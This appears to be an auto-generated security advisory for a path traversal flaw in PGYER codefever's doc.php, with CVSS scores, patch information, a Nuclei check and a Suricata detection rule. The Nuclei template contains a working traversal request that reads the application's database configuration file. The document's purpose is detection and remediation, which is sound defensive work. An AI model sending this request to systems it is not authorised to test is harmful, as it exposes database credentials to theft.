VULNpocalypse

CVE-2026-116255: PGYER codefever URI Sanitizer doc.php _detail path traversal

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

Generated by VEDAS. Scores as of 2026-11-08 00:03 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.

What it is

A vulnerability has been found in PGYER codefever up to 0c35e60f006f9d558cc33a159baf110659351990. Affected is the function _detail of the file application/controllers/doc.php of the component URI Sanitizer. The manipulation of the argument uri_string leads to path traversal. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. This product uses a rolling release model to deliver continuous updates. As a result, specific version information for affected or updated releases is not available. The identifier of the patch is e4433eee96883a222403854e8ac38b3146774a07. Applying a patch is the recommended action to fix this issue.

Description quoted from the CVE record (assigned by VulDB, published 2026-10-26).

Weakness: Path Traversal

How it can be exploited

Exploitable over the network with low attack complexity with no special attack requirements needing no privileges and no user interaction. Impact: confidentiality low, integrity none, availability none. CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P

CISA assessment (SSVC): CISA assesses that a public proof of concept exists. Automatable: yes. Technical impact: partial.

Public exploit evidence (Exploit Observer)

Exploit Observer found 5 code repositories naming this CVE.

Code repositories that name a CVE are often scanners, copies or fakes, and some are malware. Read the code before running anything.

See all 7 references on Exploit Observer

Live scores

EPSS
0.007
low predicted chance of attack
VEDAS
0.988
strong exploit evidence
On CISA KEV
Not listed
Detection rule
Nuclei · Suricata

Who is affected

ProductAffectedNot affected
PGYER codefeverversion 0c35e60f006f9d558cc33a159baf110659351990Not stated

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

How to fix it

Vendor guidance:

How to detect it

Nuclei template (active check)

CodeFever - Path Traversal

PGYER CodeFever’s doc.php _detail handler passes uri_string through a flawed URI sanitizer that can be bypassed with a “....//“ sequence, allowing an unauthenticated remote attacker to read arbitrary files relative to the application root. This template reads the CodeIgniter database configuration file to confirm the traversal.

Name and description quoted from the template, written by VEDAS.

The template sends 1 request (GET /doc/cn/....//....//application/config/database.php); it decides using status, word matchers. Severity in the template: high. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash
nuclei -u https://your-host -t CVE-2026-116255.yaml
Show the template (40 lines)
yaml
id: CVE-2026-116255

info:
  name: "CodeFever - Path Traversal"
  author: vedas-arpsyndicate
  severity: high
  description: |
    PGYER CodeFever's doc.php _detail handler passes uri_string through a flawed URI sanitizer that
    can be bypassed with a "....//" sequence, allowing an unauthenticated remote attacker to read
    arbitrary files relative to the application root. This template reads the CodeIgniter database
    configuration file to confirm the traversal.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-116255&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=codefever&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cve-id: CVE-2026-116255
    cwe-id: CWE-22
  metadata:
    verified: false
    max-request: 1
  tags: cve,cve2026,codefever,lfi

http:
  - raw:
      - |
        GET /doc/cn/....//....//application/config/database.php HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        part: body
        words:
          - "$db['default']"
          - "dbdriver"
        condition: and

CVE-2026-116255.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2026-116255 CodeFever - Path Traversal. Add them to your Suricata rule set and reload.

Show the rules
suricata
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2026-116255 CodeFever - Path Traversal"; flow:established,to_server; http.uri; content:"/doc/"; nocase; content:"....//"; fast_pattern; content:"application/config"; nocase; classtype:web-application-attack; reference:cve,CVE-2026-116255; reference:url,https://www.exploit.observer/?keyword=CVE-2026-116255&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=codefever&match=exact; sid:1089202; rev:1;)

CVE-2026-116255.rules on GitHub

References

Vendor advisories and patches

Exploit code

Technical analysis and advisories

Other references

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.

Supporting partners

Feasible SecurityAskealGoTrust